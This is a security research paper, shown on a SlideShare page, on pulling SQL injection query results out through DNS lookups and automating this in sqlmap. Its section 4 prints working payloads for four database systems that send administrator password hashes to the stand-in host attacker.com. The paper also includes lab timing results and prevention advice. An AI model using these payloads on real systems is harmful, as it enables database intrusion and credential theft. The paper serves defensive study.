SlideShare ist ein Scribd-Unternehmen logo
1 von 7
Downloaden Sie, um offline zu lesen
Data Retrieval over DNS in SQL Injection Attacks
                                                              Miroslav Štampar
                                                      AVL-AST d.o.o., Zagreb, Croatia
                                                     miroslav.stampar@avl.com



                             Abstract                                   table. What is going to be described is the technique
    This paper describes an advanced SQL injection                      where attackers can retrieve results for malicious SQL
technique where DNS resolution process is exploited for                 queries (e.g. administrator password) by provoking
retrieval of malicious SQL query results. Resulting DNS                 specially crafted DNS requests from vulnerable Database
requests are intercepted by attackers themselves at the                 Management System (DBMS) and intercepting those at
controlled remote name server extracting valuable data.                 the other end, transferring dozens of resulting characters
Open source SQL injection tool sqlmap [1] has been                      per single iteration.
adjusted to automate this task. With modifications done,
attackers are able to use this technique for fast and low-              2     Technique classification
profile data retrieval, especially in cases where other
                                                                            Depending on the transport channel used for data
standard ones fail.
                                                                        retrieval, SQLi techniques can be divided into three
                                                                        independent classes: inband, inference and out-of-band
1     Introduction                                                      [6][7].
     Exfiltration is a military term for removal of assets                  Inband techniques use existing channel between
from within enemy territory by covert means. It now has                 attackers and a vulnerable web application to extract data.
an excellent modern usage in computing, meaning the                     Usually that channel is the standard web server response.
illicit extraction of data from a system. The most covert               It's member union technique2 uses existing web page
data extraction method is considered to be the Domain                   output, while error-based technique uses provoked
Name Server (DNS) exfiltration [2]. This method can                     specific DBMS error messages, both carrying results for
even be used on systems without a public network                        the executed malicious SQL query.
connection by resolving domain name queries outside the
perimeter of trusted hosts through a series of internal and                 Inference techniques extract malicious SQL query
external name servers.                                                  results in a bit-by-bit manner, never transferring actual
                                                                        data. Rather, a difference in the way an application
    DNS is a relatively simple protocol. Both the query                 behaves allows attackers to infer the value of the data. As
made by a DNS client and the corresponding response                     the core of inference is a question [8], it consists of
provided by a DNS server use the same basic DNS                         carrying out a series of boolean queries to the server,
message format. With the exception of zone transfers,                   observing and finally deducing the meaning of received
which use TCP for the sake of reliability, DNS messages                 answers. Depending upon the observed characteristics, it's
are encapsulated within a UDP datagram. To someone                      members are called boolean-based blind and time-based
monitoring a machine with a tool like Wireshark [3], a                  technique. In boolean-based blind technique visible
covert channel implemented over DNS would look like a                   changes inside web server response are used for
series of little blips that flash in and out of existence [4].          distinguishing answers for the given logical questions,
    The act of relaying DNS queries from secure systems                 while in time-based technique3 changes in web server
to arbitrary internet-based name servers forms the basis of             response times are observed4.
this uncontrolled data channel. Even if we assume that                      Out-of-band (OOB) techniques, contrary to inband
connections to public networks are not allowed, if the                  ones, use alternative transport channel(s) for data
target host is able to resolve arbitrary domain names, data             retrieval, like Hypertext Transfer Protocol (HTTP) or
exfiltration is possible via forwarded DNS queries [5].                 DNS resolution. Exploitation using OOB techniques
   When other faster SQL injection (SQLi) data retrieval                becomes interesting when detailed error messages are
techniques fail, data is usually retrieved in bit-by-bit                disabled, results are being limited or filtered, outbound
manner, which is very noisy1 and time consuming
process. Thus, attackers will typically need tens of                    2
                                                                         Included full and partial union techniques distinguished by the number
thousands of requests to retrieve content of a regular sized            of resulting rows contained in web server response
                                                                        3
                                                                         Also included a stacked-queries technique retrieving results in same
1                                                                       manner
 Noisy in means of both traffic and system resources used by the
                                                                        4
vulnerable web server                                                    For example, delayed response for True and regular response for False
filter rules are lax, inference methods look like the only     name query. Also, it's assumed that the name queried by
option and/or when reducing the number of queries is of        the client is for a domain name of which the server has no
utter importance [9]. For example, in HTTP based OOB           local knowledge, based on its configured zones.
technique SQL query result is becoming a part of HTTP
                                                                  First, default DNS server parses the full name and
request (e.g. GET parameter value) toward HTTP server
                                                               determines that it needs the location of the server that is
controlled by attackers having access to the log files. This
                                                               authoritative for the Top-Level Domain (TLD) – in this
class of techniques is not as much widely used in the
                                                               case com. It then uses an iterative (nonrecursive) query to
mainstream as others, mostly because of complexity of
                                                               that server to obtain a referral for the example.com
required setup, but using those many obstacles could
                                                               domain.
potentially be overcome (e.g. avoiding undesired database
writes and huge speed improvement of time-based SQLi               After it's address has been retrieved, referred server is
on INSERT/UPDATE vulnerable statements).                       contacted – which is actually a registered name server for
                                                               the example.com domain. As it contains the queried name
3    DNS resolution                                            as part of its configured zones, it responds authoritatively
                                                               back to the original server that initiated the process with
    When a client needs to look up a network name used         the resulting IP address.
inside a program, it queries DNS servers. DNS queries
resolve in a number of different ways:                             When the original DNS server receives the response
                                                               indicating that an authoritative answer was obtained for
    •    A client can answer a query locally using cached      the requested query, it forwards this answer back to the
         information if it was already obtained previously     client and the recursive query process ends [11]. This type
         with an identical query.                              of resolution is typically initiated by the DNS server that
    •    DNS server can use its own cache and/or zone          attempts to resolve a recursive name query for the DNS
         record information to answer the query – this         client and is sometimes being referred to as "walking the
         process is known as iterative.                        tree" [12].

    •    DNS server can also forward the query to other        4     Provoking DNS requests
         DNS servers on behalf of the requesting client to
         fully resolve the name, then send the answer              Prerequisite for a successful DNS exfiltration of data
         back to the client – this process is known as         from a vulnerable database is the availability of DBMS
         recursive [10].                                       subroutines that directly or indirectly provoke DNS
                                                               resolution process. Those kind of subroutines are then
   For example, consider usage of recursion process to         used by attackers in SQLi vectors. Any function that
resolve the name test.example.com. It occurs when a DNS        accepts network address is most probably exploitable for
server and a client are first started and have no locally      this kind of attack.
cached information that could be used to resolve that
                                                               4.1    Microsoft SQL Server
                                                                   An extended stored procedure is a dynamic link
                                                               library that runs directly in the address space of Microsoft
                                                               SQL Server (MsSQL). There are couple of undocumented
                                                               extended stored procedures that can be found particularly
                                                               useful for this paper's purpose [13].
                                                                   Attackers can exploit any of the following extended
                                                               stored procedures to provoke DNS address resolution by
                                                               using Microsoft Windows Universal Naming Convention
                                                               (UNC) file and directory path format. The UNC syntax
                                                               for Windows systems has the generic form:
                                                                   ComputerNameSharedFolderResource

                                                                   By using custom crafted address as a value for the
                                                               field ComputerName attackers are able to provoke DNS
                                                               requests.


            Figure 1: Recursive DNS resolution
4.1.1      master..xp_dirtree                                            4.2     Oracle
   Extended stored procedure master..xp_dirtree() is used                   Oracle supplies bundle of PL/SQL packages with it's
to get a list of all folders and their subfolders inside the             Oracle Database Server to extend database functionality.
given folder:                                                            Couple of these are especially made for network access
    master..xp_dirtree '<dirpath>'                                       making them specially interesting for this paper's
                                                                         purpose7.
   For example, to get a list of all folders and their
subfolders inside the C:Windows run:                                    4.2.1     UTL_INADDR.GET_HOST_ADDRESS
    EXEC master..xp_dirtree 'C:Windows';                                    Package UTL_INADDR provides procedures for
                                                                         internet addressing support – like retrieving host names
4.1.2      master..xp_fileexist                                          and IP addresses of local and remote hosts. Member
   Extended stored procedure master..xp_fileexist() is                   function GET_HOST_ADDRESS() retrieves the IP
used to determine whether a particular file exists on the                address of the specified host:
disk:                                                                        UTL_INADDR.GET_HOST_ADDRESS('<host>')
    xp_fileexist '<filepath>'                                                For example, to get the IP address of host
   For example, to check whether the file boot.ini exists                test.example.com run:
on disk C: run:                                                             SELECT
    EXEC master..xp_fileexist 'C:boot.ini';                             UTL_INADDR.GET_HOST_ADDRESS('test.example.c
                                                                         om');
4.1.3      master..xp_subdirs
                                                                         4.2.2     UTL_HTTP.REQUEST
   Extended stored procedure master..xp_subdirs() is
                                                                             Package UTL_HTTP makes HTTP callouts from SQL
used to get a list of folders inside the given folder5:
                                                                         and PL/SQL. It's procedure REQUEST() returns up to
    master..xp_subdirs '<dirpath>'                                       first 2000 bytes of data retrieved from the given address:
    For example, to get a list of all folders with depth 1                   UTL_HTTP.REQUEST('<url>')
inside the C:Windows folder run:
                                                                            For example, to get the first 2000 bytes of data from a
    EXEC master..xp_subdirs 'C:Windows';                                page located at http://test.example.com/index.php run:
                                                                            SELECT
4.1.4      Example                                                       UTL_HTTP.REQUEST('http://test.example.com/i
    What follows is the example where administrator's                    ndex.php') FROM DUAL;
(sa) password hash is being pushed through DNS
resolution mechanism by usage of MsSQL's extended                        4.2.3     HTTPURITYPE.GETCLOB
stored procedure master..xp_dirtree()6:                                     Instance    method      GETCLOB()      of class
    DECLARE @host varchar(1024);                                         HTTPURITYPE returns the Character Large Object
                                                                         (CLOB) retrieved from the given address8:
  SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)                                  HTTPURITYPE('<url>').GETCLOB()
FROM sys.sql_logins WHERE name='sa')
+'.attacker.com';                                                           For example, to start content retrieval from a page
                                                                         located at http://test.example.com/index.php run:
  EXEC('master..xp_dirtree
"'+@host+'foobar$"');                                                    SELECT
                                                                         HTTPURITYPE('http://test.example.com/index.
    This precalculation form is used because the extended                php').GETCLOB() FROM DUAL;
stored procedures don't accept subqueries as given
parameter values. Hence the usage of temporary variable
for storing results of SQL query.

                                                                         7
                                                                          Oracle is only DBMS which doesn't need UNC file path formatting for
5
                                                                         provoking DNS requests, making attacks usable on both Windows and
 In comparison with master..xp_dirtree(), master..xp_subdirs() returns   Linux back-end platforms
only those directories with depth 1                                      8
                                                                          There are also other similar instance methods of class HTTPURITYPE
6
 Other described MsSQL's extended stored procedures can be used          that can be used for this paper's purpose (e.g. GETBLOB(),
exactly the same way                                                     GETCONTENTTYPE() and GETXML()) [14]
4.2.4      DBMS_LDAP.INIT                                                   4.4     PostgreSQL
    Package DBMS_LDAP enables PL/SQL programmers
to access data from Lightweight Directory Access                            4.4.1       COPY
Protocol (LDAP) servers. It's INIT() procedure is used to                       PostgreSQL's statement COPY copies data between a
initialize a session with the LDAP server:                                  filesystem files and a table:
     DBMS_LDAP.INIT(('<host>',<port>)                                            COPY <table>(<column>,...) FROM '<path>'
    For example, to initialize a connection with the host                      For example, to copy the content from a file located at
test.example.com run:                                                       C:WindowsTempusers.txt to a table named users
  SELECT                                                                    containing single column names run11:
DBMS_LDAP.INIT(('test.example.com',80) FROM                                    COPY users(names) FROM
DUAL;                                                                       'C:WindowsTempusers.txt'
   Attackers can use any of mentioned Oracle
subroutines to provoke DNS requests. However, starting                      4.4.2       Example
with Oracle 11g, subroutines which could cause network                         What follows is the example where system
access are restricted, except the DBMS_LDAP.INIT()                          administrator's (postgres) password hash is being pushed
[15][16].                                                                   through DNS resolution mechanism by usage of a
                                                                            PostgreSQL's statement COPY:
4.2.5      Example
                                                                                 DROP TABLE IF EXISTS table_output;
   What follows is the example where system
                                                                                 CREATE TABLE table_output(content text);
administrator's (SYS) password hash is being pushed
through DNS resolution mechanism by usage of Oracle's                          CREATE OR REPLACE FUNCTION
procedure DBMS_LDAP.INIT()9:                                                temp_function()

  SELECT DBMS_LDAP.INIT((SELECT password                                         RETURNS VOID AS $$
FROM SYS.USER$ WHERE                                                             DECLARE exec_cmd TEXT;
name='SYS')||'.attacker.com',80) FROM DUAL;
                                                                                 DECLARE query_result TEXT;
4.3     MySQL                                                                    BEGIN
                                                                               SELECT INTO query_result (SELECT passwd
4.3.1      LOAD_FILE                                                        FROM pg_shadow WHERE usename='postgres');
   MySQL's function LOAD_FILE() reads the file                                 exec_cmd := E'COPY table_output(content)
content and returns it as a string:                                         FROM E''||query_result||
                                                                            E'.attacker.comfoobar.txt'';
     LOAD_FILE('<filepath>')
                                                                                 EXECUTE exec_cmd;
   For example, to get the content of a file located at                          END;
C:Windowssystem.ini run10:
                                                                                 $$ LANGUAGE plpgsql SECURITY DEFINER;
  SELECT
LOAD_FILE('C:Windowssystem.ini');                                            SELECT temp_function();

                                                                                This precalculation form is used because the SQL
4.3.2      Example                                                          statement COPY doesn't accept subqueries. Also, in
   What follows is the example where system                                 PostgreSQL variables have to be explicitly declared and
administrator's (root) password hash is being pushed                        used inside the subroutine scope (function or procedure).
through DNS resolution mechanism by usage of MySQL's                        Hence the usage of user-defined stored function.
function LOAD_FILE():
  SELECT LOAD_FILE(CONCAT('',(SELECT                                    5     Implementation
password FROM mysql.user WHERE user='root'                                       As mentioned, SQL injection tool sqlmap has been
LIMIT 1),'.attacker.comfoobar'));
                                                                            chosen, mostly because author of this paper is also one of
9
                                                                            it's developers, and upgraded to support DNS exfiltration.
 Other described Oracle's procedures can be used exactly the same way       New command line option --dns-domain has been added
if the execution rights haven't been revoked
10                                                                          11
  Backslash character () has to be escaped as it has the special meaning     Backslash character () has to be escaped as it has the special meaning
in MySQL                                                                    in PostgreSQL
as a minimal requirement for the new program's                 their speed and lack of special requirements. Hence, only
workflow. With it user is able to turn on the DNS              when slow inference techniques are available and option
exfiltration support and is informing sqlmap that the all      --dns-domain has been explicitly set by the user, sqlmap
provoked DNS resolution requests should point toward           will turn on the support for DNS exfiltration.
the given domain (e.g. --dns-domain=attacker.com).
                                                                  Each resulting DNS resolution request is being
    Domain's name server entry (e.g. ns1.attacker.com)         encoded to a hexadecimal form to comply with RFC 1034
has to contain the IP address of a machine running the         [17], a (de-facto) standard for DNS domain names. That
sqlmap instance. From there, sqlmap is being run as a          way all eventual non-word characters are being preserved.
fake name server providing valid (but dummy) responses         Also, hexadecimal representation of longer SQL query
for the provoked incoming DNS resolution requests.             results is being split into parts. That has to be done as
Dummy resolution response is being served just to              each node's label (e.g. .example.) inside a full domain
unblock the waiting web server instance, without caring        name is limited to 63 characters in length.
for the results, as program is not processing the web page
content itself.                                                6     Experimental setup and results
    For each item being dumped, sqlmap is sending a               For experimental purposes three machines were
crafted SQLi DNS exfiltration vector inside a normal           configured and used:
HTTP request, while in background serving and logging
all incoming DNS requests. As each malicious SQL query              1) Attacker (172.16.138.1) – physical machine with
result is being enclosed with unique and randomly chosen               Ubuntu 12.04 LTS 64-bit OS running latest
prefix and suffix strings, it's not difficult to distinguish           sqlmap v1.0-dev (r5100)12
which DNS resolution request comes from which SQLi                  2) Web Server (172.16.138.129) – virtual machine
DNS exfiltration vector. Also, with those random                       with Windows XP 32-bit SP1 OS running a
enclosings any possible DNS caching mechanism is                       XAMPP 1.7.3 instance containing deliberately
cancelled, practically forcing required recursive DNS                  SQLi vulnerable MySQL/PHP web application
resolution.
                                                                    3) DNS Server (172.16.138.130) – virtual machine
    Support for DBMSes MsSQL, Oracle, MySQL and                        with CentOS 6.2 64-bit OS running a BIND
PostgreSQL has been fully implemented. But, as
mentioned earlier, only Oracle is able to support the              For virtual environment VMware Workstation 8.0.2
attack on both Windows and Linux back-end platforms,           has been used. All tests were conducted inside a local
as others require support for handling of Windows UNC          virtual network (172.16.138.0/24). Attacker machine has
file format paths.                                             been used to conduct attacks against the vulnerable Web
                                                               Server machine. DNS Server machine has been used to
   During the sqlmap run, union and error-based                handle DNS resolution requests for attacker.com domain
techniques have the highest priority, primary because of       coming from Web Server machine and forward them to
                                                               Attacker machine as it's registered name server.
                                                                  All sqlmap supported techniques were tested, together
                                                               with the newly implemented DNS exfiltration. Number
                                                               of HTTP requests and time spent were measured, where
                                                               the content of the system table information_schema.
                                                               COLLATIONS was being dumped (around 4KB in size).
                                                                       Table 1. Speed comparison of SQLi techniques

                                                                             Method              # of requests      Time (sec)
                                                                     Boolean-based blind        29,212             214.04
                                                                     Time-based (1 sec)         32,716             17,720.51
                                                                     Error-based                777                9.02
                                                                     Union (full/partial)       3/136              0.70/2.50
                                                                     DNS exfiltration           1,409              35.31


          Figure 2: DNS exfiltration in SQLi attack            12
                                                                 DNS exfiltration support is officially available in sqlmap development
                                                               version (v1.0-dev) starting with r5086 [1]
7       Discussion                                                     8       Prevention tips
    From results given in Table 1 it can be seen that the                 To avoid attacks described in this paper prevention of
inband techniques (union and error-based) were the                     SQLi flaws must have the highest priority. Usage of
fastest ones, while inference techniques (boolean-based                prepared statements15 is considered to be the safest
blind and time-based) were the slowest. DNS exfiltration               precaution [18]. Prepared statements ensure that attackers
was, as expected, slower than the slowest inband (error-               are not able to change the intent of a query, even if other
based) while faster than the fastest inference technique               SQL commands are being inserted [19].
(boolean-based blind). Time-based technique was clearly
                                                                           Various sanitization mechanisms like magic_quotes()
too slow13.
                                                                       and addslashes() can't completely prevent the presence or
    In real life scenarios all techniques would inherently             exploitation of a SQLi vulnerability, as certain techniques
experience additional delay per each request because of                used in conjunction with environmental conditions could
connection latency and time needed for loading of normal               allow attackers to exploit the vulnerability [20][21].
sized pages. In used SQLi vulnerable page a small table                Instead, if prepared statements are not used, it's
has been returned making connection reads extremely                    recommended to use input validation with bad input being
fast. Also, in real life scenarios unwanted connection                 rejected, rather than escaped or modified [22].
latency would just introduce a need for a higher time-
                                                                          Administrator should always be prepared for the
delay14 value in time-based technique making dumping
                                                                       unauthorized access to the underlying database. Good
process even more slower for those kind of cases.
                                                                       counter-measure is the restriction of all database access to
    There is also a fact that in real life scenario DNS                the least privilege. Thus, any given privilege should be
exfiltration technique would get an additional delay                   granted to the least amount of code necessary for the
introduced with usage of non-local network based DNS                   shortest duration of time that is required to get the job
servers. Nevertheless, difference between it and inference             done [23]. Following that principle, users must be able to
techniques would stay at considerable ratio because later              access only the information and resources that are
will need more time to retrieve the same data because of               absolutely necessary.
inevitable higher number of requests.
                                                                          As the last step, for successful mitigation of eventual
    All in all, numbers for DNS exfiltration technique look            DNS exfiltration attacks, administrator has to make sure
quite promising, making it a perfect alternative for                   that the execution of all unnecessary system subroutines is
inference methods.                                                     being constrained. If everything fails, attackers mustn't be
                                                                       able to run those that could provoke DNS requests.
                                                                          There has been some work in field of detecting
                                                                       malicious activities in DNS traffic [25][26], but mostly
                                                                       because of lack of practical and mainstream solutions,
                                                                       those won't be specially mentioned here.

                                                                       9       Conclusion
                                                                          In this paper, it has been shown how attackers can use
                                                                       DNS exfiltration technique to considerably speed up the
                                                                       data retrieval when only relatively slow inference SQLi
                                                                       techniques are usable. Also, number of required requests
                                                                       toward vulnerable web server is drastically reduced
                                                                       making it less noisy.
                                                                           Due to a requirement for controlling of a domain's
                                                                       name server, it probably won't be used by majority of
                                                                       attackers. From implementation point of view everything
 Figure 3: Traffic capture of sqlmap run with DNS exfiltration         was straightforward, hence it's practical value is not to be
                                                                       ignored. Implemented support inside a sqlmap should
                                                                       make it publicly available to all for further research.


13
 That's the primary reason why majority of attackers just skip cases
where that's the only usable technique
14                                                                     15
    To properly distinguish delayed and regular response times             Also referred to as parameterized queries
References                                                http://docs.oracle.com/cd/B10501_01/appdev.
                                                          920/a96616.pdf
[1] sqlmap – automatic SQL injection and database         [15] Hacking Oracle From Web Apps, Sumit Siddharth,
takeover tool, Bernardo Damele A. G., Miroslav Štampar,   Aleksander Gorkowienko, 7Safe, DEF CON 18,
http://www.sqlmap.org/                                    November 2010,
[2] Exfiltration: How Hackers Get the Data Out, Jart      https://www.defcon.org/images/defcon-18/dc-
Armin, May 2011,                                          18-presentations/Siddharth/DEFCON-18-
http://news.hostexploit.com/cybercrime-                   Siddharth-Hacking-Oracle-From-Web.pdf
news/4877-exfiltration-how-hackers-get-the-               [16] Exploiting PL/SQL Injection With Only CREATE
data-out.html                                             SESSION Privileges in Oracle 11g, David Litchfield, An
[3] Wireshark - network protocol analyzer, Wireshark      NGSSoftware Insight Security Research Publication,
Foundation,                                               October 2009,
https://www.wireshark.org/                                http://www.databasesecurity.com/Exploi
[4] The Rootkit Arsenal: Escape and Evasion in the Dark   tingPLSQLinOracle11g.pdf
Corners of the System, Bill Blunden, WordWare             [17] RFC 1034: Domain Names – Concepts and
Publishing, Inc., 2009                                    Facilities, Paul Mockapetris, November 1987,
[5] DNS as a Covert Channel Within Protected Networks,    https://www.ietf.org/rfc/rfc1034.txt
Seth Bromberger , National Electric Sector Cyber          [18] SQL Injection Prevention Cheat Sheet, Open Web
Security Organization (NESCO), January 2001,              Application Security Project, March 2012,
http://energy.gov/sites/prod/files/oeprod/D               https://www.owasp.org/index.php/SQL_Injecti
ocumentsandMedia/DNS_Exfiltration_2011-01-                on_Prevention_Cheat_Sheet
01_v1.1.pdf                                               [19] Parametrized SQL statement, Rosetta Code, August
[6] Data-mining with SQL Injection and Inference, David   2011,
Litchfield, An NGSSoftware Insight Security Research      http://rosettacode.org/wiki/Parametrized_SQ
Publication, September 2005,                              L_statement
http://www.nccgroup.com/Libraries/Document_               [20] SQL Injection Attacks and Defense, Justin Clarke,
Downloads/Data-                                           Syngress, 2009
Mining_With_SQL_Injection_and_Inference.sfl
                                                          [21] addslashes() Versus mysql_real_escape_string(),
b.ashx
                                                          Chris Shiflett, January 2006,
[7] Advanced SQL Injection, Joseph McCray, February       http://shiflett.org/blog/2006/jan/addslashe
2009,                                                     s-versus-mysql-real-escape-string
http://www.slideshare.net/joemccray/Advance
                                                          [22] Advanced SQL Injection, Victor Chapela, Sm4rt
dSQLInjectionv2
                                                          Security Services, OWASP, November 2005,
[8] SQL Injection and Data Mining through Inference,      https://www.owasp.org/images/7/74/Advanced_
David Litchfield, BlackHat EU, 2005,                      SQL_Injection.ppt
https://www.blackhat.com/presentations/bh-
                                                          [23] Security Overview (ADO.NET), MSDN, Microsoft,
europe-05/bh-eu-05-litchfield.pdf
                                                          2012.,
[9] SQL – Injection & OOB – channels, Patrik Karlsson,    http://msdn.microsoft.com/en-
DEF CON 15, August 2007,                                  us/library/hdb58b2f.aspx
https://www.defcon.org/images/defcon-
                                                          [24] The Web Application Hacker's Handbook: Finding
15/dc15-presentations/dc-15-karlsson.pdf
                                                          and Exploiting Security Flaws, Dafydd Stuttard, Marcus
[10] The TCP/IP Guide: A Comprehensive, Illustrated
                                                          Pinto, John Wiley & Sons, 2011
Internet Protocols Reference, Charles M. Kozierok, No
                                                          [25] Detecting DNS Tunnels Using Character Frequency
Starch Press, 2005
                                                          Analysis, Kenton Born, Dr. David Gustafson, Kansas
[11] How DNS query works, Microsoft TechNet, January
                                                          State University, April 2010,
2005,                                                     http://arxiv.org/pdf/1004.4358.pdf
http://technet.microsoft.com/en-
us/library/cc775637(v=ws.10).aspx                         [26] Finding Malicious Activity in Bulk DNS Data, Ed
[12] Microsoft Windows 2000 DNS: Implementation and       Stoner, Carnegie Mellon University, 2010,
                                                          www.cert.org/archive/pdf/research-rpt-
Administration, Kevin Kocis, Sams Publishing, 2001        2009/stoner-mal-act.pdf
[13] Useful undocumented extended stored procedures,
Alexander Chigrik, 2010,
http://www.mssqlcity.com/Articles/Undoc/Und
ocExtSP.htm
[14] Oracle9i XML API Reference - XDK and Oracle
XML DB (Release 2), Oracle Corporation, March 2002,

Weitere ähnliche Inhalte

Was ist angesagt?

Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Bernardo Damele A. G.
 
The Great Debate: PostgreSQL vs MySQL
The Great Debate: PostgreSQL vs MySQLThe Great Debate: PostgreSQL vs MySQL
The Great Debate: PostgreSQL vs MySQLEDB
 
Storing time series data with Apache Cassandra
Storing time series data with Apache CassandraStoring time series data with Apache Cassandra
Storing time series data with Apache CassandraPatrick McFadin
 
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)Aurimas Mikalauskas
 
ElasticSearch : Architecture et Développement
ElasticSearch : Architecture et DéveloppementElasticSearch : Architecture et Développement
ElasticSearch : Architecture et DéveloppementMohamed hedi Abidi
 
Oracle Database SQL Tuning Concept
Oracle Database SQL Tuning ConceptOracle Database SQL Tuning Concept
Oracle Database SQL Tuning ConceptChien Chung Shen
 
Introduction to MariaDB
Introduction to MariaDBIntroduction to MariaDB
Introduction to MariaDBJongJin Lee
 
MySQL HA with PaceMaker
MySQL HA with  PaceMakerMySQL HA with  PaceMaker
MySQL HA with PaceMakerKris Buytaert
 
Enable GoldenGate Monitoring with OEM 12c/JAgent
Enable GoldenGate Monitoring with OEM 12c/JAgentEnable GoldenGate Monitoring with OEM 12c/JAgent
Enable GoldenGate Monitoring with OEM 12c/JAgentBobby Curtis
 
Got database access? Own the network!
Got database access? Own the network!Got database access? Own the network!
Got database access? Own the network!Bernardo Damele A. G.
 
Expanding the control over the operating system from the database
Expanding the control over the operating system from the databaseExpanding the control over the operating system from the database
Expanding the control over the operating system from the databaseBernardo Damele A. G.
 
Performance Tuning With Oracle ASH and AWR. Part 1 How And What
Performance Tuning With Oracle ASH and AWR. Part 1 How And WhatPerformance Tuning With Oracle ASH and AWR. Part 1 How And What
Performance Tuning With Oracle ASH and AWR. Part 1 How And Whatudaymoogala
 
Direct SGA access without SQL
Direct SGA access without SQLDirect SGA access without SQL
Direct SGA access without SQLKyle Hailey
 
Streaming Operational Data with MariaDB MaxScale
Streaming Operational Data with MariaDB MaxScaleStreaming Operational Data with MariaDB MaxScale
Streaming Operational Data with MariaDB MaxScaleMariaDB plc
 
How a Developer can Troubleshoot a SQL performing poorly on a Production DB
How a Developer can Troubleshoot a SQL performing poorly on a Production DBHow a Developer can Troubleshoot a SQL performing poorly on a Production DB
How a Developer can Troubleshoot a SQL performing poorly on a Production DBCarlos Sierra
 
MySQL Architecture and Engine
MySQL Architecture and EngineMySQL Architecture and Engine
MySQL Architecture and EngineAbdul Manaf
 
Flexviews materialized views for my sql
Flexviews materialized views for my sqlFlexviews materialized views for my sql
Flexviews materialized views for my sqlJustin Swanhart
 
Chasing the optimizer
Chasing the optimizerChasing the optimizer
Chasing the optimizerMauro Pagano
 
AWS July Webinar Series: Amazon Redshift Optimizing Performance
AWS July Webinar Series: Amazon Redshift Optimizing PerformanceAWS July Webinar Series: Amazon Redshift Optimizing Performance
AWS July Webinar Series: Amazon Redshift Optimizing PerformanceAmazon Web Services
 

Was ist angesagt? (20)

Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
 
The Great Debate: PostgreSQL vs MySQL
The Great Debate: PostgreSQL vs MySQLThe Great Debate: PostgreSQL vs MySQL
The Great Debate: PostgreSQL vs MySQL
 
Storing time series data with Apache Cassandra
Storing time series data with Apache CassandraStoring time series data with Apache Cassandra
Storing time series data with Apache Cassandra
 
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
MySQL Performance Tuning. Part 1: MySQL Configuration (includes MySQL 5.7)
 
Hash joins and bloom filters at AMIS25
Hash joins and bloom filters at AMIS25Hash joins and bloom filters at AMIS25
Hash joins and bloom filters at AMIS25
 
ElasticSearch : Architecture et Développement
ElasticSearch : Architecture et DéveloppementElasticSearch : Architecture et Développement
ElasticSearch : Architecture et Développement
 
Oracle Database SQL Tuning Concept
Oracle Database SQL Tuning ConceptOracle Database SQL Tuning Concept
Oracle Database SQL Tuning Concept
 
Introduction to MariaDB
Introduction to MariaDBIntroduction to MariaDB
Introduction to MariaDB
 
MySQL HA with PaceMaker
MySQL HA with  PaceMakerMySQL HA with  PaceMaker
MySQL HA with PaceMaker
 
Enable GoldenGate Monitoring with OEM 12c/JAgent
Enable GoldenGate Monitoring with OEM 12c/JAgentEnable GoldenGate Monitoring with OEM 12c/JAgent
Enable GoldenGate Monitoring with OEM 12c/JAgent
 
Got database access? Own the network!
Got database access? Own the network!Got database access? Own the network!
Got database access? Own the network!
 
Expanding the control over the operating system from the database
Expanding the control over the operating system from the databaseExpanding the control over the operating system from the database
Expanding the control over the operating system from the database
 
Performance Tuning With Oracle ASH and AWR. Part 1 How And What
Performance Tuning With Oracle ASH and AWR. Part 1 How And WhatPerformance Tuning With Oracle ASH and AWR. Part 1 How And What
Performance Tuning With Oracle ASH and AWR. Part 1 How And What
 
Direct SGA access without SQL
Direct SGA access without SQLDirect SGA access without SQL
Direct SGA access without SQL
 
Streaming Operational Data with MariaDB MaxScale
Streaming Operational Data with MariaDB MaxScaleStreaming Operational Data with MariaDB MaxScale
Streaming Operational Data with MariaDB MaxScale
 
How a Developer can Troubleshoot a SQL performing poorly on a Production DB
How a Developer can Troubleshoot a SQL performing poorly on a Production DBHow a Developer can Troubleshoot a SQL performing poorly on a Production DB
How a Developer can Troubleshoot a SQL performing poorly on a Production DB
 
MySQL Architecture and Engine
MySQL Architecture and EngineMySQL Architecture and Engine
MySQL Architecture and Engine
 
Flexviews materialized views for my sql
Flexviews materialized views for my sqlFlexviews materialized views for my sql
Flexviews materialized views for my sql
 
Chasing the optimizer
Chasing the optimizerChasing the optimizer
Chasing the optimizer
 
AWS July Webinar Series: Amazon Redshift Optimizing Performance
AWS July Webinar Series: Amazon Redshift Optimizing PerformanceAWS July Webinar Series: Amazon Redshift Optimizing Performance
AWS July Webinar Series: Amazon Redshift Optimizing Performance
 

Andere mochten auch

Non-Esoteric XSS Tips & Tricks
Non-Esoteric XSS Tips & TricksNon-Esoteric XSS Tips & Tricks
Non-Esoteric XSS Tips & TricksMiroslav Stampar
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
 
Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Advanced SQL injection to operating system full control (short version)
Advanced SQL injection to operating system full control (short version)Bernardo Damele A. G.
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads UpMindfire Solutions
 
SQL injection exploitation internals
SQL injection exploitation internalsSQL injection exploitation internals
SQL injection exploitation internalsBernardo Damele A. G.
 
NCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios appsNCC Group 44Con Workshop: How to assess and secure ios apps
NCC Group 44Con Workshop: How to assess and secure ios appsNCC Group
 
Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...
